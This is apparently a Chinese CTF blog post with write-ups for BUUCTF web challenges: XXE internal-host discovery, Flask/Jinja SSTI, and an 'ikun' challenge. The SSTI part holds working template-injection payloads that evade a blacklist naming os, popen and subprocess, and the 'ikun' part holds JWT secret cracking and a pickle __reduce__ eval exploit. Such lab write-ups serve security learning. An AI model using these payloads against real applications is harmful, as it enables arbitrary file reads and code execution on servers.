buuctf12

[NCTF2019]True XML cookbook

依旧是xxe注入:
但是这题flag不在根目录下没法直接读取,所以看了一下wp说是在内网主机中!??????????果然还是做得题目少了,内网主机文件夹:
读取 /etc/network/interfaces 或者 /proc/net/arp 或者 /etc/host
然后发现,接下来一个一个尝试就可以拿到flag了
img

img

附上一篇xxe注入的学习文章:
https://xz.aliyun.com/t/3357#toc-11

[GYCTF2020]FlaskApp

又是flask框架 注入 ,确定是jingjia模板注入:

报错爆出了网站的源码文件app.py,那就先来一波任意文件读取看行不行

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py', 'r').read() }}{% endif %}{% endfor %}
1
from flask import Flask,render_template_string from flask import render_template,request,flash,redirect,url_for from flask_wtf import FlaskForm from wtforms import StringField, SubmitField from wtforms.validators import DataRequired from flask_bootstrap import Bootstrap import base64 app = Flask(__name__) app.config['SECRET_KEY'] = 's_e_c_r_e_t_k_e_y' bootstrap = Bootstrap(app) class NameForm(FlaskForm): text = StringField('BASE64加密',validators= [DataRequired()]) submit = SubmitField('提交') class NameForm1(FlaskForm): text = StringField('BASE64解密',validators= [DataRequired()]) submit = SubmitField('提交') def waf(str): black_list = ["flag","os","system","popen","import","eval","chr","request", "subprocess","commands","socket","hex","base64","*","?"] for x in black_list : if x in str.lower() : return 1 @app.route('/hint',methods=['GET']) def hint(): txt = "失败乃成功之母!!" return render_template("hint.html",txt = txt) @app.route('/',methods=['POST','GET']) def encode(): if request.values.get('text') : text = request.values.get("text") text_decode = base64.b64encode(text.encode()) tmp = "结果 :{0}".format(str(text_decode.decode())) res = render_template_string(tmp) flash(tmp) return redirect(url_for('encode')) else : text = "" form = NameForm(text) return render_template("index.html",form = form ,method = "加密" ,img = "flask.png") @app.route('/decode',methods=['POST','GET']) def decode(): if request.values.get('text') : text = request.values.get("text") text_decode = base64.b64decode(text.encode()) tmp = "结果 : {0}".format(text_decode.decode()) if waf(tmp) : flash("no no no !!") return redirect(url_for('decode')) res = render_template_string(tmp) flash( res ) return redirect(url_for('decode')) else : text = "" form = NameForm1(text) return render_template("index.html",form = form, method = "解密" , img = "flask1.png") @app.route('/<name>',methods=['GET']) def not_found(name): return render_template("404.html",name = name) if __name__ == '__main__': app.run(host="0.0.0.0", port=5000, debug=True) 

知道过滤了哪些字符了

接下来继续读取‘

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}//这里也就不一定是需要catch_warnings了 也可以是下面的那个import很多很多

img

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt').read()}}{% endif %}{% endfor %}

尝试使用

1
{{}}

构造语句:

1
{{"".__class__.__mro__[-1].__subclasses__()[75].__init__.__globals__['__builtins__'].}}//在75找到_frozen_importlib._ModuleLock可以指向builtins,而builtins里面有import可以使用,并且也有file那些东西,这个75是一个一个尝试出来的

作罢,只能一个个尝试了

接下来继续构造语句

1
{{"".__class__.__mro__[-1].__subclasses__()[75].__init__.__globals__['__builtins__'].open('app.py', 'r').read()}}

r然后后面的语句就和之前的没啥区别了,这题还是学到了很多东西,总觉得自己ssti注入学的不够深入,很奇怪,大概是python还没真正学好吧

这边有个点:
如果只是subclasses()的时候是出不了类的,但是builtins的时候是可以出他名下的函数,顺带出subclasses()的class

img

小结

1.在python—ssti注入一文中添加了各个class可以使用的函数或者方法,以后就不会找的很迷茫了
2.一般情况下都是subclasses爆出所有类,然后一个个去尝试数字靠近使用,这题主要靠盲猜了,不然就是用一个for循环进行遍历,我觉得这题考察的本意也是如此想要让我们使用for循环进行遍历吧。
3.对于ssti注入 只能说继续学习吧!

[CISCN2019 华北赛区 Day1 Web2]ikun

ikun们冲鸭,一定要买到lv6!!! 可能是要买iv6?但是不知道咋买img
脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests
r=requests.session()
url="http://23d9591f-d9fe-4282-a6e2-c7aab436b5bb.node3.buuoj.cn/shop?page="
def searchlv6():
for i in range(1000):
a=requests.get(url+str(i))
print(url+str(i))
if "lv6.png" in a.text:
break


if __name__=="__main__":
searchlv6()

这里解释下:题目说要买到lv6,当我再找的时候页码会一直往下翻,

img 这些图片位置出现了lv2 5 但是就是没有lv6 于是猜想 可能某一页当中有lv6 python写个脚本 跑一下 发现在181页的位置出现了: 接下来购买看看

注册账号,登录购买,发现不够钱,抓包看看,发现可以改折扣:
img
img
进入页面 说需要admin,抓包看看:
img
这里有个jew很可疑,查一下:

jwt伪造

首先了解下JWT:

JSON Web Token(JWT)是一个非常轻巧的规范。这个规范允许我们使用JWT在用户和服务器之间传递安全可靠的信息。JWT常被用于前后端分离,可以和Restful API配合使用,常用于构建身份认证机制。

  JWT的数据格式分为三个部分: headers , payloads,signature(签名),它们使用.点号分割

 验证方法:首先服务端会产生一个key,然后以这个key作为密钥,使用第一部分选择的加密方式(这里就是HS256),对第一部分和第二部分拼接的结果进行加密,然后把加密结果放到第三部分

1
服务器每次收到信息都会对它的前两部分进行加密,然后比对加密后的结果是否跟客户端传送过来的第三部分相同,如果相同则验证通过,否则失败。

  因为加密算法我们已经知道了,如果我们只要再得到加密的key,我们就能伪造数据,并且通过服务器的检查。

所以此时我们爆破出我们的加密密钥 使用JWT cracker

果然直接在windows下载拖过去是最快的==,然后docker安装一下 直接

1
2
3
4
apt-get install libssl-dev
docker build . -t jwtcrack
docker run -it --rm jwtcrack
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo

爆破出来了 密钥是1Kun 这样就可以进去了
img
img

然后
img
审计源码

看了一下

这题是python反序列化,没遇过,于是跟着wp学习了
1.python反序列语句:

1
p = pickle.loads(urllib.unquote(become))

所以become是我们传入的参数
img

找到become传入入口,开始操作:

1
2
3
4
5
6
7
8
9
10
import pickle
import urllib

class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print(a)

没遇见过 所以直接跟着打了一下,几个地方理解下

pickle反序列化

pickle提供了一个简单的持久化功能。可以将对象以文件的形式存放在磁盘上。

pickle模块只能在python中使用,python中几乎所有的数据类型(列表,字典,集合,类等)都可以用pickle来序列化,
pickle序列化后的数据,可读性差,人一般无法识别。

p = pickle.loads(urllib.unquote(become))

urllib.unquote:将存入的字典参数编码为URL查询字符串,即转换成以key1 = value1 & key2 = value2的形式pickle.loads(bytes_object): 从字节对象中读取被封装的对象,并返回我看了师傅们的博客之后的理解就是,我们构建一个类,类里面的__reduce__python魔术方法会在该类被反序列化的时候会被调用Pickle模块中最常用的函数为:

(1)pickle.dump(obj, file, [,protocol])

1
2
3
4
5
6
7
    函数的功能:将obj对象序列化存入已经打开的file中。

参数讲解:

obj:想要序列化的obj对象。
file:文件名称。
protocol:序列化使用的协议。如果该项省略,则默认为0。如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本。

(2)pickle.load(file)

1
2
3
4
5
    函数的功能:将file中的对象序列化读出。

参数讲解:

file:文件名称。

(3)pickle.dumps(obj[, protocol])

1
2
3
4
5
6
   函数的功能:将obj对象序列化为string形式,而不是存入文件中。

参数讲解:

obj:想要序列化的obj对象。
protocal:如果该项省略,则默认为0。如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本。

(4)pickle.loads(string)

1
2
3
4
5
6
7
   函数的功能:从string中读出序列化前的obj对象。

参数讲解:

string:文件名称。

【注】 dump() 与 load() 相比 dumps() 和 loads() 还有另一种能力:dump()函数能一个接着一个地将几个对象序列化存储到同一个文件中,随后调用load()来以同样的顺序反序列化读出这些对象。而在__reduce__方法里面我们就进行读取flag.txt文件,并将该类序列化之后进行URL编码

检测反序列化方法:

1
全局搜索Python代码中是否含有关键字类似“import cPickle”或“import pickle”等,若存在则进一步确认是否调用cPickle.loads()或pickle.loads()且反序列化的参数可控。

防御方法

1
2
3
1、用更高级的接口__getnewargs()、__getstate__()、__setstate__()等代替__reduce__()魔术方法;

2、进行反序列化操作之前,进行严格的过滤,若采用的是pickle库可采用装饰器实现。

0\|1**0x04解题**

本题中我们使用 **reduce **
方法
img

我的理解是pickle反序列化过程中如果有reduce,那么在重建对象的时候就会调用,并且会调用我们使用的函数。
paylaod:

1
c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.
Author

vague huang

Posted on

2021-04-18

Updated on

2021-04-24

Licensed under

Comments